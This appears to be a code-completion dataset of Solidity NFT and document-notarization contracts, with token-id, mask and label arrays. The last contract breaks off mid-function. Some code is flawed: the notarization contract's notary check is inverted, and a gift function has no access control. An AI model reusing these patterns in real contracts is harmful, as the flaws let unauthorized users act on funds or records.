vrfCoordinator_, address linkToken_, bytes32 vrfKeyHash_, uint256 vrfFee_ ) ERC721A("Komorebi No Sekai", "KNS", maxBatchSize_, collectionSize_) VRFConsumerBase(vrfCoordinator_, linkToken_) { maxPerAddressDuringMint = maxBatchSize_; amountForDevs = amountForDevs_; _vrfCoordinator = vrfCoordinator_; _linkToken = linkToken_; _vrfKeyHash = vrfKeyHash_; _vrfFee = vrfFee_; } /// @notice Buy a quantity of NFTs during the whitelisted sale. /// @dev Throws if user is not whitelisted. function allowlistMint() external payable callerIsUser { uint256 price = uint256(saleConfig.mintlistPrice); uint256 whitelistSaleStartTime = uint256(saleConfig.whitelistSaleStartTime); assignSideIfNoSide(msg.sender); require(getCurrentTime() >= whitelistSaleStartTime, "allowlist sale has not begun yet"); require(price != 0, "allowlist sale has not begun yet"); require(isWhitelisted(msg.sender), "not eligible for allowlist mint"); require(totalSupply() + 1 <= collectionSize, "reached max supply"); if (_allowList[msg.sender] > 0) { _allowList[msg.sender]--; } _safeMint(msg.sender, 1); refundIfOver(price); } /// @notice Buy a quantity of NFTs during the public primary sale. /// @param quantity The number of items to mint. function saleMint(uint256 quantity) external payable callerIsUser { SaleConfig memory config = saleConfig; uint256 price = uint256(config.price); uint256 saleStartTime = uint256(config.saleStartTime); assignSideIfNoSide(msg.sender); require(isPublicSaleOn(price, saleStartTime), "public sale has not begun yet"); require(totalSupply() + quantity <= collectionSize, "reached max supply"); require(numberMinted(msg.sender) + quantity <= maxPerAddressDuringMint, "can not mint this many"); _safeMint(msg.sender, quantity); refundIfOver(price * quantity); } /// @notice Mint NFTs for dev team. /// @dev For marketing etc. function devMint(uint256 quantity) external onlyOwner { require(totalSupply() + quantity <= amountForDevs, "too many already minted before dev mint"); require(quantity % maxBatchSize == 0, "can only mint a multiple of the maxBatchSize"); uint256 numChunks = quantity / maxBatchSize; for (uint256 i = 0; i < numChunks; i++) { _safeMint(msg.sender, maxBatchSize); } } /// @notice Refund the difference if user sent more than the specified price. /// @param price The correct price. function refundIfOver(uint256 price) private { require(msg.value >= price, "Need to send more ETH."); if (msg.value > price) { payable(msg.sender).transfer(msg.value - price); } } /// @notice Return whether or not the public sale is live. /// @param priceWei The price set in WEI. /// @param saleStartTime The start time set. /// @return true if public sale is live, false otherwise. function isPublicSaleOn(uint256 priceWei, uint256 saleStartTime) public view returns (bool) { return priceWei != 0 && getCurrentTime() >= saleStartTime; } modifier callerIsUser() { require(tx.origin == msg.sender, "The caller is another contract"); _; } /// @notice Add addresses to allow list. /// @param addresses The account addresses to whitelist. /// @param numAllowedToMint The number of allowed NFTs to mint per address. function setAllowList(address[] calldata addresses, uint8 numAllowedToMint) external onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { _allowList[addresses[i]] = numAllowedToMint; } } // // metadata URI string private _baseTokenURI; /// @notice Return the current base URI. /// @return The current base URI. function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } /// @notice Set the base URI for the collection. /// @dev Can be used to handle a reveal separately. /// @param baseURI The new base URI. function setBaseURI(string calldata baseURI) external onlyOwner { _baseTokenURI = baseURI; } /// @notice Withdraw ETH from the contract. /// @dev Only owner can call this function. function withdrawMoney() external onlyOwner nonReentrant { (bool success, ) = msg.sender.call{ value: address(this).balance }(""); require(success, "Transfer failed."); } /// @notice Return the number of minted NFTs for a given address. /// @param owner The address of the owner. /// @return The number of minted NFTs. function numberMinted(address owner) public view returns (uint256) { return _numberMinted(owner); } /// @notice Get ownership data. /// @param tokenId The token id. /// @return The `TokenOwnership` structure data associated to the token id. function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } /// @notice Return the current time. /// @dev Can be extended for testing purpose. /// @return The current timestamp. function getCurrentTime() internal view virtual returns (uint256) { return block.timestamp; } /// @notice Set whitelist sale start time. /// @param whitelistSaleStartTime_ The start time as a timestamp. function setWhitelistSaleStartTime(uint32 whitelistSaleStartTime_) external onlyOwner { SaleConfig storage config = saleConfig; config.whitelistSaleStartTime = whitelistSaleStartTime_; } /// @notice Set public sale start time. /// @param saleStartTime_ The start time as a timestamp. function setSaleStartTime(uint32 saleStartTime_) external onlyOwner { SaleConfig storage config = saleConfig; config.saleStartTime = saleStartTime_; } /// @notice Set current price for whitelisted sale. /// @param mintlistPrice_ The price in WEI. function setMintlistPrice(uint64 mintlistPrice_) external onlyOwner { SaleConfig storage config = saleConfig; config.mintlistPrice = mintlistPrice_; } /// @notice Set current price for public sale. /// @param price_ The price in WEI. function setPrice(uint64 price_) external onlyOwner { SaleConfig storage config = saleConfig; config.price = price_; } /// @notice Return the side of `msg.sender`. /// @return The side. function getMySide() public view returns (uint8) { return getSide(msg.sender); } /// @notice Return the side of a specified address. /// @return The side. function getSide(address account) public view returns (uint8) { return _side[account]; } /// @notice Return whether or not the specified address is assigned to a side. /// @return true if assigned, false otherwise. function hasSide(address account) public view returns (bool) { return _side[account] != 0; } /// @notice Assign a side to the specified address if not assigned yet. /// @param account The address to assign a side to. function assignSideIfNoSide(address account) internal { if (!hasSide(account)) { assignSide(account); } } /// @notice Assign a side to the specified address. /// @dev Throws if address has already a side assigned. /// @param account The address to assign a side to. function assignSide(address account) internal { require(!hasSide(account), "Account already assigned to a side"); uint8 side; uint256 seed = uint256(getSeed()); if (uint8(seed) % 2 == 0) { side = FURARIBI_SIDE; } else { side = NAITO_RAITO_SIDE; } _side[account] = side; } /// @notice Assign a side to `msg.sender` function assignMeASide() external { assignSideIfNoSide(msg.sender); } /// @notice Compute a new seed to serve for simple and non sensitive pseudo random use cases. /// @return The seed to use. function getSeed() internal view returns (bytes32) { return keccak256(abi.encodePacked(block.timestamp, block.basefee, gasleft(), msg.sender, totalSupply())); } /// @notice Whitelist holders of specific collection NFTs. /// @param collectionAddress The address of the collection. function whitelistHoldersOfCollection(address collectionAddress) external onlyOwner { _whitelistedCollections.push(collectionAddress); } /// @notice Whitelist holders of Azuki NFTs. function whitelistAzukiHolders() external onlyOwner { _whitelistedCollections.push(AZUKI_ADDRESS); } /// @notice Return whether or not the specified account is whitelisted. /// @param account The address to check. /// @return true if whitelisted, false otherwise. function isWhitelisted(address account) internal view returns (bool) { if (_allowList[account] > 0) { return true; } for (uint256 i = 0; i < _whitelistedCollections.length; i++) { IERC721 nftCollection = IERC721(_whitelistedCollections[i]); if (nftCollection.balanceOf(account) > 0) { return true; } } return false; } /// @notice Send NFT gifts to the selected winner. /// @dev Throws if the winner is not selected yet. function sendGiftsToWinner() external onlyIfWinnerSelected onlyOwner { for (uint256 i = 0; i < gifts.length; i++) { Gift memory gift = gifts[i]; IERC721 collection = IERC721(gift.collectionAddress); uint256[] memory ids = gift.ids; for (uint256 j = 0; j < ids.length; j++) { uint256 id = ids[j]; collection.safeTransferFrom(address(this), giftsWinnerAddress, id); } } } modifier onlyIfWinnerSelected() { require(giftsWinnerAddress != address(0x0), "winner must be selected"); _; } /// @notice Select a random winner using Chainlink VRF. function selectRandomWinnerForGifts() external onlyOwner requireFeeForLinkRequest { require(giftsWinnerAddress == address(0x0), "winner already selected"); selectRandomGiftWinnerRequestId = requestRandomness(_vrfKeyHash, _vrfFee); } /// @notice Withdraw Link /// @dev See chainlink documentation. function withdrawLink() external onlyOwner { IERC20 erc20 = IERC20(_linkToken); uint256 linkBalance = LINK.balanceOf(address(this)); if (linkBalance > 0) { erc20.transfer(owner(), linkBalance); } } modifier requireFeeForLinkRequest() { require(LINK.balanceOf(address(this)) >= _vrfFee, ERROR_NOT_ENOUGH_LINK); _; } /// @dev See `VRFConsumerBase` documentation. function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { if (requestId == selectRandomGiftWinnerRequestId && giftsWinnerAddress == address(0x0)) { giftsWinnerTokenId = randomness.mod(totalSupply()); giftsWinnerAddress = ownerOf(giftsWinnerTokenId); } } /// @notice Add gift to the list of gifts. /// @param collectionAddress Address of the NFT collection. /// @param ids The list of token ids. function addGift(address collectionAddress, uint256[] calldata ids) external { gifts.push(Gift(collectionAddress, ids)); } /// @notice Update VRF fee. function updateVRFFee(uint256 fee) external onlyOwner { _vrfFee = fee; } }
The chainlink request id for VRF
bytes32 selectRandomGiftWinnerRequestId;
13,052,425
[ 1, 1986, 2687, 1232, 590, 612, 364, 776, 12918, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1731, 1578, 2027, 8529, 43, 2136, 59, 7872, 15493, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.9.0; import "@openzeppelin/contracts/access/Ownable.sol"; contract Doc0 is Ownable { struct docData{ string name; address owner; bytes32 infoHash; string userData; } mapping(address => docData[]) perUserDocs; mapping(bytes32 => address) docIndex; // docIndex[infoHash] = msg.sender; mapping(bytes32 => bool) infoSet; mapping(address => bool) isNotery; mapping(bytes32 => address) noterized; uint256 minPayment; event DocumentSet(string, bytes32 indexed, string); event DocumentOwner(address indexed, string, bytes32, string); event DocumentNoterized(string, bytes32, string, address indexed); event LogWithdrawal(address, uint256); constructor() { minPayment = 1; } function setPayment ( uint256 p ) public onlyOwner { minPayment = p; } // TODO - add a getPayment function that is a public view. // function... function setNoterizer ( address aNotery ) public onlyOwner { isNotery[aNotery] = true; } function rmNoterizer ( address aNotery ) public onlyOwner { isNotery[aNotery] = false; } // TODO - add a isValidNoterizer function as a public view that returns true if the passed address is a valid // noterizer. // function... function newDocument ( string memory name, bytes32 infoHash, string memory info ) public payable returns(bool) { require(!infoSet[infoHash], "already set, already has owner."); // Validate that this is a new document require(msg.value >= minPayment, "insufficient payment to set data."); // Validate that they are paying enougn infoSet[infoHash] = true; // This will be used in noterizeDocument // TODO: declare an in-memory docData structure. // TODO: set the values in the structure // TODO: append the structure to perUserDocs for this msg.sender // TODO: create in docIndex a way to get to this msg.sender so that the document can be found by docHash // TODO: emit DocumentSet and DocumentOwner events return true; } function noterizeDocument ( string memory name, bytes32 infoHash, string memory info ) public returns (bool) { require(infoSet[infoHash], "document not created set."); require(!isNotery[msg.sender], "not a registered notery."); noterized[infoHash] = msg.sender; // Mark that this document has been noterized by a valid notery. emit DocumentNoterized(name, infoHash, info, msg.sender); return true; } // List Documents by Owner of Document function nDocuments() public view returns ( uint256 ) { return( perUserDocs[msg.sender].length ); } function ownerOfDocument( bytes32 infoHash) public view returns ( address ) { return( docIndex[infoHash] ); } function getDocName ( uint256 nth ) public view returns ( string memory ) { require(nth >= 0 && nth < perUserDocs[msg.sender].length, "nth out of range."); docData memory v; v = perUserDocs[msg.sender][nth]; return ( v.name ); } function getDocInfoHash ( uint256 nth ) public view returns ( bytes32 ) { require(nth >= 0 && nth < perUserDocs[msg.sender].length, "nth out of range."); docData memory v; v = perUserDocs[msg.sender][nth]; return ( v.infoHash ); } function getDocInfo ( uint256 nth ) public view returns ( string memory ) { require(nth >= 0 && nth < perUserDocs[msg.sender].length, "nth out of range."); docData memory v; v = perUserDocs[msg.sender][nth]; return ( v.userData ); } /** * Find out how much Eth the contract has accumulated. */ function getBalance() public view onlyOwner returns(uint balance) { return address(this).balance; } /** * Transfer out the Eth to the owners account. */ function withdraw(uint amount) public onlyOwner returns(bool success) { emit LogWithdrawal(msg.sender, amount); payable(msg.sender).transfer(amount); return true; } }
TODO: declare an in-memory docData structure. TODO: set the values in the structure TODO: append the structure to perUserDocs for this msg.sender TODO: create in docIndex a way to get to this msg.sender so that the document can be found by docHash TODO: emit DocumentSet and DocumentOwner events
function newDocument ( string memory name, bytes32 infoHash, string memory info ) public payable returns(bool) { return true; }
5,400,913
[ 1, 6241, 30, 14196, 392, 316, 17, 7858, 997, 751, 3695, 18, 2660, 30, 444, 326, 924, 316, 326, 3695, 2660, 30, 714, 326, 3695, 358, 1534, 1299, 12656, 364, 333, 1234, 18, 15330, 2660, 30, 752, 316, 997, 1016, 279, 4031, 358, 336, 358, 333, 1234, 18, 15330, 1427, 716, 326, 1668, 848, 506, 1392, 635, 997, 2310, 2660, 30, 3626, 4319, 694, 471, 4319, 5541, 2641, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 26814, 261, 533, 3778, 508, 16, 1731, 1578, 1123, 2310, 16, 533, 3778, 1123, 262, 1071, 8843, 429, 1135, 12, 6430, 13, 288, 203, 203, 203, 1082, 203, 202, 202, 2463, 638, 31, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; // ,|||||< ~|||||' `_+7ykKD%RDqmI*~` // [email protected]@@@@@8' `[email protected]@@@@` `^[email protected]@@@@@@@@@@@@@@@@R|` // [email protected]@@@@@@@Q; [email protected]@@@@J '}[email protected]@@@@@[email protected]@@@@@@Q, // [email protected]@@@@@@@@@j `[email protected]@@@Q` `[email protected]@@@@@h^` `[email protected]@@@@* // [email protected]@@@@@@@@@@@D. [email protected]@@@@i [email protected]@@@@w' ^@@@@@* // [email protected]@@@@[email protected]@@@@@@Q! `@@@@@Q ;@@@@@@; .txxxx: // |@@@@@u *@@@@@@@@z [email protected]@@@@* `[email protected]@@@@^ // `[email protected]@@@Q` '[email protected]@@@@@@R.'@@@@@B [email protected]@@@@% :DDDDDDDDDDDDDD5 // [email protected]@@@@7 `[email protected]@@@@@@[email protected]@@@@+ [email protected]@@@@K [email protected]@@@@@@* // `@@@@@Q` ^[email protected]@@@@@@@@@@W [email protected]@@@@@; ,[email protected]@@@@@# // [email protected]@@@@L ,[email protected]@@@@@@@@@! '[email protected]@@@@@u, [email protected]@@@@@@@^ // [email protected]@@@@Q }@@@@@@@@D '[email protected]@@@@@@@gUwwU%[email protected]@@@@@@@@@g // [email protected]@@@@< [email protected]@@@@@@; ;[email protected]@@@@@@@@@@@@@@Wf;[email protected]@@; // ~;;;;; .;;;;;~ '!Lx5mEEmyt|!' ;;;~ // // Powered By: @niftygateway // Author: @niftynathang // Collaborators: @conviction_1 // @stormihoebe // @smatthewenglish // @dccockfoster // @blainemalone import "./ERC721Omnibus.sol"; import "../interfaces/IERC2309.sol"; import "../interfaces/IERC721MetadataGenerator.sol"; import "../interfaces/IERC721DefaultOwnerCloneable.sol"; import "../structs/NiftyType.sol"; import "../utils/Signable.sol"; import "../utils/Withdrawable.sol"; import "../utils/Royalties.sol"; contract NiftyERC721Token is ERC721Omnibus, Royalties, Signable, Withdrawable, IERC2309 { using Address for address; event NiftyTypeCreated(address indexed contractAddress, uint256 niftyType, uint256 idFirst, uint256 idLast); uint256 constant internal MAX_INT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; // A pointer to a contract that can generate token URI/metadata IERC721MetadataGenerator internal metadataGenerator; // Used to determine next nifty type/token ids to create on a mint call NiftyType internal lastNiftyType; // Sorted array of NiftyType definitions - ordered to allow binary searching NiftyType[] internal niftyTypes; // Mapping from Nifty type to IPFS hash of canonical artifact file. mapping(uint256 => string) private niftyTypeIPFSHashes; constructor() { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Omnibus, Royalties, NiftyPermissions) returns (bool) { return interfaceId == type(IERC2309).interfaceId || super.supportsInterface(interfaceId); } function setMetadataGenerator(address metadataGenerator_) external { _requireOnlyValidSender(); if(metadataGenerator_ == address(0)) { metadataGenerator = IERC721MetadataGenerator(metadataGenerator_); } else { require(IERC165(metadataGenerator_).supportsInterface(type(IERC721MetadataGenerator).interfaceId), "Invalid Metadata Generator"); metadataGenerator = IERC721MetadataGenerator(metadataGenerator_); } } function finalizeContract() external { _requireOnlyValidSender(); require(!collectionStatus.isContractFinalized, ERROR_CONTRACT_IS_FINALIZED); collectionStatus.isContractFinalized = true; } function tokenURI(uint256 tokenId) public virtual view override returns (string memory) { if(address(metadataGenerator) == address(0)) { return super.tokenURI(tokenId); } else { require(_exists(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); return metadataGenerator.tokenMetadata(tokenId, _getNiftyType(tokenId), bytes("")); } } function tokenIPFSHash(uint256 tokenId) external view returns (string memory) { require(_exists(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); return niftyTypeIPFSHashes[_getNiftyType(tokenId)]; } function setIPFSHash(uint256 niftyType, string memory ipfsHash) external { _requireOnlyValidSender(); require(bytes(niftyTypeIPFSHashes[niftyType]).length == 0, "ERC721Metadata: IPFS hash already set"); niftyTypeIPFSHashes[niftyType] = ipfsHash; } function mint(uint256[] calldata amounts, string[] calldata ipfsHashes) external { _requireOnlyValidSender(); require(amounts.length > 0 && ipfsHashes.length > 0, ERROR_INPUT_ARRAY_EMPTY); require(amounts.length == ipfsHashes.length, ERROR_INPUT_ARRAY_SIZE_MISMATCH); address to = collectionStatus.defaultOwner; require(to != address(0), ERROR_TRANSFER_TO_ZERO_ADDRESS); require(!collectionStatus.isContractFinalized, ERROR_CONTRACT_IS_FINALIZED); uint88 initialIdLast = lastNiftyType.idLast; uint72 nextNiftyType = lastNiftyType.niftyType; uint88 nextIdCounter = initialIdLast + 1; uint88 firstNewTokenId = nextIdCounter; uint88 lastIdCounter = 0; for(uint256 i = 0; i < amounts.length; i++) { require(amounts[i] > 0, ERROR_NO_TOKENS_MINTED); uint88 amount = uint88(amounts[i]); lastIdCounter = nextIdCounter + amount - 1; nextNiftyType++; if(bytes(ipfsHashes[i]).length > 0) { niftyTypeIPFSHashes[nextNiftyType] = ipfsHashes[i]; } niftyTypes.push(NiftyType({ isMinted: true, niftyType: nextNiftyType, idFirst: nextIdCounter, idLast: lastIdCounter })); emit NiftyTypeCreated(address(this), nextNiftyType, nextIdCounter, lastIdCounter); nextIdCounter += amount; } uint256 newlyMinted = lastIdCounter - initialIdLast; balances[to] += newlyMinted; lastNiftyType.niftyType = nextNiftyType; lastNiftyType.idLast = lastIdCounter; collectionStatus.amountCreated += uint88(newlyMinted); emit ConsecutiveTransfer(firstNewTokenId, lastIdCounter, address(0), to); } function setBaseURI(string calldata uri) external { _requireOnlyValidSender(); _setBaseURI(uri); } function exists(uint256 tokenId) public view returns (bool) { return _exists(tokenId); } function burn(uint256 tokenId) public { _burn(tokenId); } function burnBatch(uint256[] calldata tokenIds) public { require(tokenIds.length > 0, ERROR_INPUT_ARRAY_EMPTY); for(uint256 i = 0; i < tokenIds.length; i++) { _burn(tokenIds[i]); } } function getNiftyTypes() public view returns (NiftyType[] memory) { return niftyTypes; } function getNiftyTypeDetails(uint256 niftyType) public view returns (NiftyType memory) { uint256 niftyTypeIndex = MAX_INT; unchecked { niftyTypeIndex = niftyType - 1; } if(niftyTypeIndex >= niftyTypes.length) { revert('Nifty Type Does Not Exist'); } return niftyTypes[niftyTypeIndex]; } function _isValidTokenId(uint256 tokenId) internal virtual view override returns (bool) { return tokenId > 0 && tokenId <= collectionStatus.amountCreated; } // Performs a binary search of the nifty types array to find which nifty type a token id is associated with // This is more efficient than iterating the entire nifty type array until the proper entry is found. // This is O(log n) instead of O(n) function _getNiftyType(uint256 tokenId) internal virtual override view returns (uint256) { uint256 min = 0; uint256 max = niftyTypes.length - 1; uint256 guess = (max - min) / 2; while(guess < niftyTypes.length) { NiftyType storage guessResult = niftyTypes[guess]; if(tokenId >= guessResult.idFirst && tokenId <= guessResult.idLast) { return guessResult.niftyType; } else if(tokenId > guessResult.idLast) { min = guess + 1; guess = min + (max - min) / 2; } else if(tokenId < guessResult.idFirst) { max = guess - 1; guess = min + (max - min) / 2; } } return 0; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./ERC721.sol"; import "../interfaces/IERC721DefaultOwnerCloneable.sol"; abstract contract ERC721Omnibus is ERC721, IERC721DefaultOwnerCloneable { struct TokenOwner { bool transferred; address ownerAddress; } struct CollectionStatus { bool isContractFinalized; // 1 byte uint88 amountCreated; // 11 bytes address defaultOwner; // 20 bytes } // Only allow Nifty Entity to be initialized once bool internal initializedDefaultOwner; CollectionStatus internal collectionStatus; // Mapping from token ID to owner address mapping(uint256 => TokenOwner) internal ownersOptimized; function initializeDefaultOwner(address defaultOwner_) public { require(!initializedDefaultOwner, ERROR_REINITIALIZATION_NOT_PERMITTED); collectionStatus.defaultOwner = defaultOwner_; initializedDefaultOwner = true; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, IERC165) returns (bool) { return interfaceId == type(IERC721DefaultOwnerCloneable).interfaceId || super.supportsInterface(interfaceId); } function getCollectionStatus() public view virtual returns (CollectionStatus memory) { return collectionStatus; } function ownerOf(uint256 tokenId) public view virtual override returns (address owner) { require(_isValidTokenId(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); owner = ownersOptimized[tokenId].transferred ? ownersOptimized[tokenId].ownerAddress : collectionStatus.defaultOwner; require(owner != address(0), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); } function _exists(uint256 tokenId) internal view virtual override returns (bool) { if(_isValidTokenId(tokenId)) { return ownersOptimized[tokenId].ownerAddress != address(0) || !ownersOptimized[tokenId].transferred; } return false; } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual override returns (address owner, bool isApprovedOrOwner) { owner = ownerOf(tokenId); isApprovedOrOwner = (spender == owner || tokenApprovals[tokenId] == spender || isApprovedForAll(owner, spender)); } function _clearOwnership(uint256 tokenId) internal virtual override { ownersOptimized[tokenId].transferred = true; ownersOptimized[tokenId].ownerAddress = address(0); } function _setOwnership(address to, uint256 tokenId) internal virtual override { ownersOptimized[tokenId].transferred = true; ownersOptimized[tokenId].ownerAddress = to; } function _isValidTokenId(uint256 /*tokenId*/) internal virtual view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @dev Interface of the ERC2309 standard as defined in the EIP. */ interface IERC2309 { /** * @dev Emitted when consecutive token ids in range ('fromTokenId') to ('toTokenId') are transferred from one account (`fromAddress`) to * another (`toAddress`). * * Note that `value` may be zero. */ event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed fromAddress, address indexed toAddress); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC165.sol"; interface IERC721MetadataGenerator is IERC165 { function tokenMetadata(uint256 tokenId, uint256 niftyType, bytes calldata data) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./IERC165.sol"; interface IERC721DefaultOwnerCloneable is IERC165 { function initializeDefaultOwner(address defaultOwner_) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; struct NiftyType { bool isMinted; // 1 bytes uint72 niftyType; // 9 bytes uint88 idFirst; // 11 bytes uint88 idLast; // 11 bytes } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./NiftyPermissions.sol"; import "../libraries/ECDSA.sol"; import "../structs/SignatureStatus.sol"; abstract contract Signable is NiftyPermissions { event ContractSigned(address signer, bytes32 data, bytes signature); SignatureStatus public signatureStatus; bytes public signature; string internal constant ERROR_CONTRACT_ALREADY_SIGNED = "Contract already signed"; string internal constant ERROR_CONTRACT_NOT_SALTED = "Contract not salted"; string internal constant ERROR_INCORRECT_SECRET_SALT = "Incorrect secret salt"; string internal constant ERROR_SALTED_HASH_SET_TO_ZERO = "Salted hash set to zero"; string internal constant ERROR_SIGNER_SET_TO_ZERO = "Signer set to zero address"; function setSigner(address signer_, bytes32 saltedHash_) external { _requireOnlyValidSender(); require(signer_ != address(0), ERROR_SIGNER_SET_TO_ZERO); require(saltedHash_ != bytes32(0), ERROR_SALTED_HASH_SET_TO_ZERO); require(!signatureStatus.isVerified, ERROR_CONTRACT_ALREADY_SIGNED); signatureStatus.signer = signer_; signatureStatus.saltedHash = saltedHash_; signatureStatus.isSalted = true; } function sign(uint256 salt, bytes calldata signature_) external { require(!signatureStatus.isVerified, ERROR_CONTRACT_ALREADY_SIGNED); require(signatureStatus.isSalted, ERROR_CONTRACT_NOT_SALTED); address expectedSigner = signatureStatus.signer; bytes32 expectedSaltedHash = signatureStatus.saltedHash; require(_msgSender() == expectedSigner, ERROR_INVALID_MSG_SENDER); require(keccak256(abi.encodePacked(salt)) == expectedSaltedHash, ERROR_INCORRECT_SECRET_SALT); 